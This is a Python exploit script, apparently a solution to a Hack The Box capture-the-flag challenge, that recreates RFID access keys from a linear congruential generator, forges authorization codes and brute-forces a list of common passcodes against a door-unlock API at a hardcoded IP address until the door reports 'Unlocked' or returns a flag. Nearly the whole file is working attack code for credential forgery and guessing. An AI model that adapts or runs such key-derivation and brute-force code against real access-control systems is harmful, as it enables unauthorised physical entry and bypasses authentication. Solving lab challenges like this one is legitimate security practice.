#!/usr/bin/env python3
"""
RFID Access Exploit - Generate valid credentials
"""
import requests
import json

def bytes_from_num(num):
    """Convert number to 3-byte array"""
    return [int(num >> 16), int((num >> 8) & 0xFF), int(num & 0xFF)]

def lcg_next(seed):
    """Linear Congruential Generator from the OTA code"""
    return (seed * 0x52c6425d + 0xcc52c) % (2**32)

def generate_keys(passcode):
    """Generate 6 authentication keys based on passcode"""
    next_val = passcode
    keys = []
    
    for i in range(6):
        next_val = lcg_next(next_val)
        key = next_val % 0xffffff
        keys.append(key)
    
    return keys

def exploit_door(api_url, uid, name, auth_code_base, access_level, passcode):
    """Attempt to unlock the door"""
    
    # Generate keys from passcode
    keys = generate_keys(passcode)
    
    # Get the last key (used for sector 34, the 3rd sector)
    last_keys = keys[4:6]  # Keys 5 and 6 for the 3rd sector
    
    # Convert to bytes and hex
    key_bytes = []
    for key in last_keys:
        key_bytes.extend(bytes_from_num(key))
    
    key_hex = "".join("{:02x}".format(b) for b in key_bytes)
    
    # Combine auth code
    full_auth_code = auth_code_base + key_hex
    
    creds = {
        'uid': uid,
        'username': name,
        'authorization_code': full_auth_code,
        'access_level': access_level
    }
    
    print(f"[*] Trying: UID={uid}, Name={name}, Passcode={passcode}")
    print(f"    Auth Code: {full_auth_code}")
    
    try:
        response = requests.post(api_url, data=creds, timeout=5)
        result = json.loads(response.text)
        
        print(f"[+] Response: {result}")
        
        if result.get('door_status') == 'Unlocked' or (result.get('flag') and 'HTB{' in result.get('flag', '')):
            print(f"\n{'='*60}")
            print(f"SUCCESS! Flag: {result.get('flag')}")
            print('='*60)
            return True
            
    except Exception as e:
        print(f"[-] Error: {e}")
    
    return False

if __name__ == "__main__":
    api_url = "http://154.57.164.61:31938/api"
    
    # Try common test values
    # Based on MIFARE standards and common CTF patterns
    
    test_cases = [
        # (UID, name, auth_code_base, access_level, passcode)
        ('04f6555b', '746570747361', '00' * 16, 'ff' * 16, 0),
        ('04f6555b', 'admin', '00' * 16, 'ff' * 16, 0),
        ('04f6555b', 'user', '00' * 16, 'ff' * 16, 0),
    ]
    
    # Also try to extract from comment or analyze the passcode
    # Looking at the LCG: next = (seed * 0x52c6425d + 0xcc52c) % 2^32
    # Maybe the passcode is something simple like 0, 1234, 12345678, etc.
    
    common_passcodes = [0, 1, 1234, 12345678, 0xFF, 0xFFFF, 0xFFFFFF, 0xDEADBEEF, 0xCAFEBABE]
    
    for passcode in common_passcodes:
        for uid, name, auth_base, access, _ in test_cases:
            if exploit_door(api_url, uid, name, auth_base, access, passcode):
                exit(0)
            print()
    
    print("[*] No success with common values. Need to extract actual RFID data...")
